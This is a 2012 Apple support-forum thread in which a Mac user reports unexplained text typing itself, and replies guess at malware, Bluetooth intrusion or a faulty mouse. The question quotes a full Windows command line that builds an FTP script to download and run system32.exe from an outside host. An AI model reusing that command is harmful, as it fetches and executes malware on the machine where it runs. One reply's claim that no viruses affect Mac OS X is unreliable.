Magic Mouse/Bluetooth possibly hacked. Cryptic text typing itself in the middle of my work.

Question

Magic Mouse/Bluetooth possibly hacked. Cryptic text typing itself in the middle of my work.

During the last month, I began using a Magic Mouse with my iMac OS 10.6.8. On at least 2 occasion, it's as if my machine has been taken over and this odd cryptic text begins typing in the space where my cursor sits. The most recent occurance was today, while drafting content in Word, the following text appeared:

Cmd /c echo open own3d.collegefan.org 21 >> ik &echo user nobody lamp >> ik &echo binary >> ik &echo get system32.exe >> ik &echo bye >> ik &ftp –n –v –s:ik &del ik &system32.exe &exit

Echo You got owned

Previously, this occured while typing search terms into Google's search box. The text was similiar to the above but not exactly the same.

Not sure if this a "virus" on my machine, problems with the mouse (which--to my first time using self--has behaved erratically from the start) or someone hacking into my system via Bluetooth.

Thoughts or suggestions on how to troubleshoot/fix?

iMac, Mac OS X (10.6.8)

Posted on Mar 29, 2012 8:18 AM

Reply

Answer 1

Mar 25, 2013 3:24 PM in response to CreativesUnderstand

Just looking into this possible Bluetooth exploit. I have a couple of MacBooks that I picked up refurbished. Strange things had begun happening with the computers like messages in iChat that did not belong to me and optional software installed that I did not choose.

Last night my computer was connected to a network when I had the ethernet unplugged and wireless turned off. This would not be a big deal as maybe just a glitch with the wireless control but I also had my router power cable disconnected.

Turns out that I was connecting over a BlueTooth connection between my computer and my iPhone 5. Not sure how they managed to get into the iPhone 5's settings as it is not and never has been Jailbroken. I checked in the MacBooks and sure enough my bluetooth was configured to connect to a modem. Also, There are Java developer applets in my system with what appear to be full permissions.

Not real worried about it as I brought it upon myself by buying used MacBooks. As I am a computer networking student I find it rather interesting.

Reply

Answer 2

Mar 30, 2012 4:05 AM in response to CreativesUnderstand

Hello:

Not sure if this a "virus" on my machine

You may rule that out. There are NO viruses that affect a Mac running OS X - none.

or someone hacking into my system via Bluetooth.

Nothing is impossible, but that is quite unlikely. The range of Bluetooth devices is about 30' (10 meters). Additionally, someone would somehow have to pair a device with your computer.

The stuff you posted has a .exe suffix. That is a Windows suffix and will not execute on a Mac. Did you download something perhaps (from a web site called "collegefan.org21" or someplace else)? Malware, while rare, can intrude from unknown sites.

I would probably reinstall OS X completely (after making a good backup).

I do not know how a malfunctioning mouse would create text like you describe.

Barry

Reply

Answer 3

HACKINT0SH

Level 5

5,810 points

Mar 30, 2012 3:19 PM in response to CreativesUnderstand

Are you using MS Word in Bootcamp? If so, then you probably do have something.

Reply

Answer 4

Apr 2, 2012 6:53 AM in response to HACKINT0SH

The staff member who used this machine before me may have used Bootcamp, however, I work exclusively in OS X and have never opened Bootcamp in my 2 months of use.

Reply

Answer 5

Apr 2, 2012 7:01 AM in response to Barry Hemphill

Ran my organization's enterprise anti-virus software last week and nothing was quarantined, but I wasn't expecting anything to be found.

And no, never visted any site called "collegefan" or the other 2 URLs that were listed in this garbage text that I've watched self-execute the other two times this has occurred. Wish I'd gotten screen grabs of those previous two incidents.

I've been using a Mac since the mid-90s and have never seen anything like this. Again, don't know if the wireless mouse-Bluetooth combo has anything to do with this issue, but this stuff only started happening after I started using these tools, so it seemed obvious to start trouble-shooting there.

I'm still digging for clues, esp since I don't know what was downloaded before I took over this machine.

Thanks for your suggestions.

Reply

Answer 6

HACKINT0SH

Level 5

5,810 points

Apr 2, 2012 5:58 PM in response to CreativesUnderstand

It seems a failed attempt at tryign to take over Windows machines. Since you're using Mac OSX and not Windows, which uses compiled binarines in .exe form you don't have to worry much.

However, that domain has been already flagged as an official phishing site.

Reply

Answer 7

May 25, 2012 8:14 AM in response to CreativesUnderstand

I also had this today, but I also saw the 'Screen Sharing' icon on my menu bar appear while the text was being echo'd to my screen, then disappear.

I was remoting to my work XP PC, and I happened to see the text in an IM chat window.

Pretty freaked out if someone can share my screen!

Reply